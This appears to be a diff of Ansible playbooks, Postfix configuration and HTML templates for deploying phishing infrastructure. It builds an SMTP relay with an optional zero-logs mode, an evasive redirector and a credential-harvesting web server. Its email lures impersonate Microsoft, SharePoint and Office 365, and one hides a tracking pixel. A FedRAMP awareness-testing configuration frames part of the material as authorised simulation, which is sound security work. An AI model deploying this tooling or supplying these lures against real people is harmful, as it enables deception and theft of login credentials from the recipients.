+    minute: "*/15"
+    job: "/root/Tools/reputation-monitor.sh >> /var/log/reputation.log 2>&1"
+
+handlers:
+  - name: restart postfix
+    service:
+      name: postfix
+      state: restarted
+
+  - name: reload postfix
+    service:
+      name: postfix
+      state: reloaded
+
+  - name: postmap header_checks
+    command: postmap /etc/postfix/header_checks
+
+  - name: postmap nested_header_checks
+    command: postmap /etc/postfix/nested_header_checks
+
+  - name: postmap sasl_passwd
+    command: postmap /etc/postfix/sasl_passwd
+
+  - name: postmap transport
+    command: postmap /etc/postfix/transport
@@ -0,0 +1,71 @@
+# Postfix MTA Front Configuration for Phishing Infrastructure
+# This server acts as the front-end mail relay
+
+# Basic settings
+myhostname = {{ mta_hostname | default('mail.' + domain) }}
+mydomain = {{ domain }}
+myorigin = $mydomain
+mydestination = $myhostname, localhost
+inet_interfaces = all
+inet_protocols = ipv4
+
+# Network settings
+mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
+relay_domains = $mydestination
+
+# SMTP smuggling mitigation
+smtpd_forbid_bare_newline = yes
+smtpd_forbid_bare_newline_reject_code = 550
+
+# TLS Configuration
+smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
+smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
+smtpd_use_tls = yes
+smtpd_tls_security_level = may
+smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
+smtp_tls_security_level = may
+
+# SASL Authentication
+smtpd_sasl_auth_enable = yes
+smtpd_sasl_type = dovecot
+smtpd_sasl_path = private/auth
+smtpd_sasl_security_options = noanonymous
+smtpd_sasl_authenticated_header = yes
+
+# Restrictions
+smtpd_helo_required = yes
+smtpd_recipient_restrictions =
+    permit_mynetworks,
+    permit_sasl_authenticated,
+    reject_unauth_destination,
+    reject_unauth_pipelining,
+    reject_invalid_helo_hostname,
+    reject_non_fqdn_helo_hostname
+
+# Rate limiting
+smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
+smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
+
+# Message size and queue settings
+message_size_limit = {{ max_message_size | default(10240000) }}
+mailbox_size_limit = 0
+queue_lifetime = 1h
+maximal_queue_lifetime = 1h
+bounce_queue_lifetime = 0
+
+# Header modifications
+header_checks = regexp:/etc/postfix/header_checks
+
+# DKIM signing
+milter_default_action = accept
+milter_protocol = 6
+smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
+non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
+
+# Logging
+{% if zero_logs | default(true) %}
+# Zero-logs configuration
+syslog_facility = local0
+syslog_name = 
+maillog_file = /dev/null
+{% endif %}
@@ -0,0 +1,51 @@
+---
+# MTA Front server deployment for email relay and SMTP smuggling
+
+- name: Deploy MTA Front server
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    mta_instance_type: "{{ mta_instance_type | default('t3.medium') }}"
+    mta_region: "{{ mta_region | default(aws_region) }}"
+
+  tasks:
+    - name: Create MTA Front instance
+      include_tasks: "../tasks/create_instance.yml"
+      vars:
+        instance_name: "{{ server_name }}"
+        instance_type: "{{ mta_instance_type }}"
+        region: "{{ mta_region }}"
+        security_group_rules:
+          - { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
+          - { proto: tcp, port: 25, cidr: "0.0.0.0/0", desc: "SMTP from anywhere" }
+          - { proto: tcp, port: 587, cidr: "0.0.0.0/0", desc: "SMTP submission" }
+          - { proto: tcp, port: 465, cidr: "0.0.0.0/0", desc: "SMTPS" }
+
+    - name: Add MTA Front to inventory
+      add_host:
+        name: "mta_front"
+        groups: "mta_fronts"
+        ansible_host: "{{ instance_ip }}"
+        ansible_user: "{{ ansible_user | default('ubuntu') }}"
+        ansible_ssh_private_key_file: "{{ ssh_key_path }}"
+        ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
+
+- name: Configure MTA Front server
+  hosts: mta_fronts
+  become: true
+  gather_facts: true
+  vars_files:
+    - vars.yaml
+  tasks:
+    - name: Include MTA Front configuration
+      include_tasks: "../tasks/configure_mta_front.yml"
+
+    - name: Include security hardening
+      include_tasks: "../tasks/security_hardening.yml"
+
+    - name: Include tracker setup
+      include_tasks: "../tasks/configure_integrated_tracker.yml"
+      when: deploy_tracker | default(true) | bool
@@ -0,0 +1,46 @@
+---
+# Phishing redirector deployment with advanced evasion
+
+- name: Deploy phishing redirector
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    redirector_instance_type: "{{ redirector_instance_type | default('t3.small') }}"
+    redirector_region: "{{ redirector_region | default(aws_region) }}"
+
+  tasks:
+    - name: Create phishing redirector instance
+      include_tasks: "../tasks/create_instance.yml"
+      vars:
+        instance_name: "{{ server_name }}"
+        instance_type: "{{ redirector_instance_type }}"
+        region: "{{ redirector_region }}"
+        security_group_rules:
+          - { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
+          - { proto: tcp, port: 80, cidr: "0.0.0.0/0", desc: "HTTP from anywhere" }
+          - { proto: tcp, port: 443, cidr: "0.0.0.0/0", desc: "HTTPS from anywhere" }
+
+    - name: Add phishing redirector to inventory
+      add_host:
+        name: "phishing_redirector"
+        groups: "phishing_redirectors"
+        ansible_host: "{{ instance_ip }}"
+        ansible_user: "{{ ansible_user | default('ubuntu') }}"
+        ansible_ssh_private_key_file: "{{ ssh_key_path }}"
+        ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
+
+- name: Configure phishing redirector
+  hosts: phishing_redirectors
+  become: true
+  gather_facts: true
+  vars_files:
+    - vars.yaml
+  tasks:
+    - name: Include phishing redirector configuration
+      include_tasks: "../tasks/configure_phishing_redirector.yml"
+
+    - name: Include security hardening
+      include_tasks: "../tasks/security_hardening.yml"
@@ -0,0 +1,50 @@
+---
+# Phishing web server for credential harvesting
+
+- name: Deploy phishing web server
+  hosts: localhost
+  gather_facts: false
+  connection: local
+  vars_files:
+    - vars.yaml
+  vars:
+    webserver_instance_type: "{{ webserver_instance_type | default('t3.medium') }}"
+    webserver_region: "{{ webserver_region | default(aws_region) }}"
+
+  tasks:
+    - name: Create phishing web server instance
+      include_tasks: "../tasks/create_instance.yml"
+      vars:
+        instance_name: "{{ server_name }}"
+        instance_type: "{{ webserver_instance_type }}"
+        region: "{{ webserver_region }}"
+        security_group_rules:
+          - { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
+          - { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
+          - { proto: tcp, port: 443, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTPS from redirector" }
+
+    - name: Add phishing web server to inventory
+      add_host:
+        name: "phishing_webserver"
+        groups: "phishing_webservers"
+        ansible_host: "{{ instance_ip }}"
+        ansible_user: "{{ ansible_user | default('ubuntu') }}"
+        ansible_ssh_private_key_file: "{{ ssh_key_path }}"
+        ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
+
+- name: Configure phishing web server
+  hosts: phishing_webservers
+  become: true
+  gather_facts: true
+  vars_files:
+    - vars.yaml
+  tasks:
+    - name: Include phishing web server configuration
+      include_tasks: "../tasks/configure_phishing_webserver.yml"
+
+    - name: Include security hardening
+      include_tasks: "../tasks/security_hardening.yml"
+
+    - name: Include tracker setup
+      include_tasks: "../tasks/configure_integrated_tracker.yml"
+      when: deploy_tracker | default(true) | bool
@@ -0,0 +1,111 @@
+---
+# FedRAMP compliance configuration for user awareness testing
+
+- name: Create FedRAMP compliant landing pages
+  template:
+    src: "{{ item.src }}"
+    dest: "{{ item.dest }}"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+  with_items:
+    - { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
+    - { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
+    - { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
+
+- name: Create FedRAMP compliant email templates
+  template:
+    src: "{{ item.src }}"
+    dest: "{{ item.dest }}"
+    mode: '0644'
+    owner: root
+    group: root
+  with_items:
+    - { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
+    - { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
+
+- name: Configure anonymized reporting
+  template:
+    src: "../templates/fedramp-reporting.py.j2"
+    dest: "/root/Tools/phishing/fedramp-reporting.py"
+    mode: '0755'
+    owner: root
+    group: root
+
+- name: Create role-based tracking system
+  template:
+    src: "../templates/role-tracking.py.j2"
+    dest: "/root/Tools/phishing/role-tracking.py"
+    mode: '0755'
+    owner: root
+    group: root
+
+- name: Set up immediate phish identification
+  template:
+    src: "../templates/immediate-identification.js.j2"
+    dest: "/var/www/phishing/assets/immediate-identification.js"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Create educational content delivery system
+  template:
+    src: "../templates/education-delivery.php.j2"
+    dest: "/var/www/phishing/api/education.php"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Configure compliance database schema
+  shell: |
+    sqlite3 /root/Tools/phishing/compliance.db << EOF
+    CREATE TABLE IF NOT EXISTS fedramp_campaigns (
+        id TEXT PRIMARY KEY,
+        name TEXT NOT NULL,
+        csp_organization TEXT NOT NULL,
+        created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
+        status TEXT DEFAULT 'active'
+    );
+    
+    CREATE TABLE IF NOT EXISTS role_interactions (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        campaign_id TEXT NOT NULL,
+        user_role TEXT NOT NULL,
+        interaction_type TEXT NOT NULL,
+        interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
+        education_completed BOOLEAN DEFAULT FALSE
+    );
+    
+    CREATE TABLE IF NOT EXISTS compliance_metrics (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        campaign_id TEXT NOT NULL,
+        metric_type TEXT NOT NULL,
+        metric_value INTEGER NOT NULL,
+        recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
+    );
+    EOF
+  args:
+    creates: /root/Tools/phishing/compliance.db
+
+- name: Set database permissions for compliance
+  file:
+    path: /root/Tools/phishing/compliance.db
+    owner: www-data
+    group: www-data
+    mode: '0644'
+
+- name: Create compliance report generator
+  template:
+    src: "../templates/compliance-report-generator.py.j2"
+    dest: "/root/Tools/phishing/generate-compliance-report.py"
+    mode: '0755'
+    owner: root
+    group: root
+
+- name: Configure email allowlisting instructions
+  template:
+    src: "../templates/allowlist-instructions.md.j2"
+    dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
+    mode: '0644'
+    owner: root
+    group: root
@@ -0,0 +1,118 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Document Shared</title>
+</head>
+<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
+    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
+        <tr>
+            <td align="center">
+                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
+                    <!-- Header -->
+                    <tr>
+                        <td style="padding: 20px; border-bottom: 1px solid #edebe9;">
+                            <table cellpadding="0" cellspacing="0" border="0" width="100%">
+                                <tr>
+                                    <td>
+                                        <img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
+                                    </td>
+                                    <td align="right">
+                                        <span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
+                                    </td>
+                                </tr>
+                            </table>
+                        </td>
+                    </tr>
+                    
+                    <!-- Content -->
+                    <tr>
+                        <td style="padding: 30px;">
+                            <h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
+                            
+                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
+                                Hi {{ "{{.FirstName}}" }},
+                            </p>
+                            
+                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
+                                {{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
+                            </p>
+                            
+                            <!-- File Preview -->
+                            <table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
+                                <tr>
+                                    <td style="padding: 20px;">
+                                        <table cellpadding="0" cellspacing="0" border="0" width="100%">
+                                            <tr>
+                                                <td style="width: 48px; padding-right: 15px; vertical-align: top;">
+                                                    <img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
+                                                </td>
+                                                <td>
+                                                    <h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
+                                                    <p style="color: #605e5c; font-size: 14px; margin: 0;">
+                                                        {{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
+                                                    </p>
+                                                </td>
+                                            </tr>
+                                        </table>
+                                    </td>
+                                </tr>
+                            </table>
+                            
+                            <!-- Sender Message -->
+                            {% if include_message | default(true) %}
+                            <div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
+                                <p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
+                                <p style="color: #605e5c; font-size: 14px; margin: 0;">
+                                    {{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
+                                </p>
+                            </div>
+                            {% endif %}
+                            
+                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
+                                <tr>
+                                    <td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
+                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
+                                            Open in SharePoint
+                                        </a>
+                                    </td>
+                                </tr>
+                            </table>
+                            
+                            <p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
+                                This link will expire in {{ expiry_days | default('7') }} days.<br>
+                                Only people with the link can access this file.
+                            </p>
+                        </td>
+                    </tr>
+                    
+                    <!-- Footer -->
+                    <tr>
+                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
+                            <p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
+                                Get the SharePoint mobile app
+                            </p>
+                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
+                                <tr>
+                                    <td style="padding: 0 5px;">
+                                        <a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
+                                    </td>
+                                    <td style="padding: 0 5px;">
+                                        <a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
+                                    </td>
+                                </tr>
+                            </table>
+                            <p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
+                                © {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
+                                <a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> | 
+                                <a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
+                            </p>
+                        </td>
+                    </tr>
+                </table>
+            </td>
+        </tr>
+    </table>
+</body>
+</html>
@@ -0,0 +1,51 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Microsoft Office 365 - Sign-in Required</title>
+    <style>
+        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
+        .container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
+        .header { background: #0078d4; padding: 20px; color: white; }
+        .content { padding: 30px; line-height: 1.6; }
+        .button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
+        .footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
+        .urgent { color: #d13438; font-weight: bold; }
+    </style>
+</head>
+<body>
+    <div class="container">
+        <div class="header">
+            <h2>Microsoft Office 365</h2>
+        </div>
+        <div class="content">
+            <p>Hello {{ first_name | default('User') }},</p>
+            
+            <p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
+            
+            <p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
+            
+            <p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
+            
+            <center>
+                <a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
+            </center>
+            
+            <p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
+            https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
+            
+            <p>Thank you for your cooperation in keeping your account secure.</p>
+            
+            <p>Best regards,<br>
+            Microsoft Account Security Team</p>
+        </div>
+        <div class="footer">
+            <p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
+            <p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
+        </div>
+    </div>
+    
+    <!-- Tracking pixel -->
+    <img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
+</body>
+</html>
@@ -0,0 +1,95 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Password Expiration Notice</title>
+</head>
+<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
+    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
+        <tr>
+            <td align="center">
+                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
+                    <!-- Header -->
+                    <tr>
+                        <td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
+                            <img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
+                        </td>
+                    </tr>
+                    
+                    <!-- Warning Banner -->
+                    <tr>
+                        <td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
+                            <table cellpadding="0" cellspacing="0" border="0">
+                                <tr>
+                                    <td style="padding-right: 10px;">
+                                        <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
+                                    </td>
+                                    <td>
+                                        <strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
+                                    </td>
+                                </tr>
+                            </table>
+                        </td>
+                    </tr>
+                    
+                    <!-- Content -->
+                    <tr>
+                        <td style="padding: 30px;">
+                            <h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
+                            
+                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
+                                Hello {{ "{{.FirstName}}" }},
+                            </p>
+                            
+                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
+                                Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>. 
+                                To prevent any interruption to your access, please update your password before it expires.
+                            </p>
+                            
+                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
+                                Password requirements:
+                            </p>
+                            
+                            <ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
+                                <li>Minimum 12 characters</li>
+                                <li>At least one uppercase letter</li>
+                                <li>At least one lowercase letter</li>
+                                <li>At least one number</li>
+                                <li>At least one special character</li>
+                                <li>Cannot be the same as your last 5 passwords</li>
+                            </ul>
+                            
+                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
+                                <tr>
+                                    <td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
+                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
+                                            Update Password Now
+                                        </a>
+                                    </td>
+                                </tr>
+                            </table>
+                            
+                            <p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
+                                If you're unable to click the button above, copy and paste this link into your browser:<br>
+                                <a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
+                            </p>
+                        </td>
+                    </tr>
+                    
+                    <!-- Footer -->
+                    <tr>
+                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
+                            <p style="color: #a19f9d; font-size: 12px; margin: 0;">
+                                This is an automated message from {{ organization | default('IT Department') }}.<br>
+                                Please do not reply to this email.<br>
+                                For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
+                            </p>
+                        </td>
+                    </tr>
+                </table>
+            </td>
+        </tr>
+    </table>
+</body>
+</html>
@@ -0,0 +1,103 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Security Alert</title>
+</head>
+<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
+    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
+        <tr>
+            <td align="center">
+                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
+                    <!-- Header -->
+                    <tr>
+                        <td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
+                            <h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
+                        </td>
+                    </tr>
+                    
+                    <!-- Content -->
+                    <tr>
+                        <td style="padding: 30px;">
+                            <h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
+                            
+                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
+                                Dear {{ "{{.FirstName}}" }},
+                            </p>
+                            
+                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
+                                We detected unusual sign-in activity on your account:
+                            </p>
+                            
+                            <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
+                                <tr>
+                                    <td style="padding: 20px;">
+                                        <table cellpadding="0" cellspacing="0" border="0" width="100%">
+                                            <tr>
+                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
+                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
+                                            </tr>
+                                            <tr>
+                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
+                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
+                                            </tr>
+                                            <tr>
+                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
+                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
+                                            </tr>
+                                            <tr>
+                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
+                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
+                                            </tr>
+                                        </table>
+                                    </td>
+                                </tr>
+                            </table>
+                            
+                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
+                                <strong>If this was you:</strong> You can safely ignore this email.<br>
+                                <strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
+                            </p>
+                            
+                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
+                                <tr>
+                                    <td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
+                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
+                                            Secure My Account
+                                        </a>
+                                    </td>
+                                </tr>
+                            </table>
+                            
+                            <p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
+                                <strong>What happens next?</strong><br>
+                                We'll guide you through securing your account, including:
+                            </p>
+                            
+                            <ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
+                                <li>Verifying your identity</li>
+                                <li>Reviewing recent account activity</li>
+                                <li>Updating your password</li>
+                                <li>Enabling additional security measures</li>
+                            </ul>
+                        </td>
+                    </tr>
+                    
+                    <!-- Footer -->
+                    <tr>
+                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
+                            <p style="color: #a19f9d; font-size: 12px; margin: 0;">
+                                This security alert was sent to {{ "{{.Email}}" }}<br>
+                                © {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
+                                <a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> | 
+                                <a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
+                            </p>
+                        </td>
+                    </tr>
+                </table>
+            </td>
+        </tr>
+    </table>
+</body>
+</html>
@@ -0,0 +1,87 @@
+# FedRAMP Phishing Test Compliance Configuration
+# This configuration ensures compliance with FedRAMP requirements
+
+compliance_mode: fedramp
+test_type: user_awareness_only
+
+# Email Configuration
+email_settings:
+  # Emails must be whitelisted on all security systems
+  require_whitelist: true
+  bypass_security_controls: true
+  
+  # No modification of emails allowed
+  allow_header_modification: false
+  allow_content_filtering: false
+  
+  # Tracking requirements
+  tracking:
+    - email_opened (via pixel)
+    - link_clicked
+    - credentials_submitted
+    - user_identity (tied to actions)
+
+# Landing Page Requirements
+landing_page:
+  # Must immediately identify as phishing test
+  show_phishing_notice: true
+  phishing_notice_text: |
+    This was a phishing simulation!
+    You should never enter your credentials on suspicious websites.
+    
+  # Educational content required
+  include_education: true
+  education_content:
+    - How to identify phishing emails
+    - Red flags to watch for
+    - Reporting procedures
+    - Best practices for email security
+
+# Reporting Requirements
+reporting:
+  # No PII in reports
+  anonymize_data: true
+  report_format: aggregate_only
+  
+  # Required metrics
+  metrics:
+    - total_emails_sent
+    - emails_opened_percentage
+    - links_clicked_percentage
+    - credentials_submitted_percentage
+    - department_breakdown
+    - role_based_statistics
+  
+  # Prohibited data
+  exclude:
+    - individual_names
+    - specific_email_addresses
+    - personal_identifiers
+
+# Technical Configuration
+technical:
+  # Simple campaign only
+  campaign_type: basic_phishing_test
+  
+  # No exploitation
+  allow_malware: false
+  allow_exploitation: false
+  allow_persistence: false
+  
+  # Clean tracking only
+  tracking_methods:
+    - pixel_tracking
+    - unique_urls
+    - form_submission
+    
+# Approval Process
+approval:
+  requires_3pao_approval: true
+  requires_template_review: true
+  approval_documentation: required
+
+# Post-Test Requirements
+post_test:
+  notify_failures: true
+  provide_training: true
+  remediation_timeline: 30_days
@@ -0,0 +1,69 @@
+{
+  "deployment_id": "{{ deployment_id }}",
+  "deployment_time": "{{ ansible_date_time.iso8601 }}",
+  "provider": "{{ provider }}",
+  "region": "{{ aws_region | default(linode_region) | default('') }}",
+  
+  "infrastructure": {
+    "mta_front": {
+      "name": "{{ mta_front_name }}",
+      "ip": "{{ mta_front_ip | default('') }}",
+      "instance_id": "{{ mta_instance_id | default('') }}"
+    },
+    "gophish_server": {
+      "name": "{{ gophish_server_name }}",
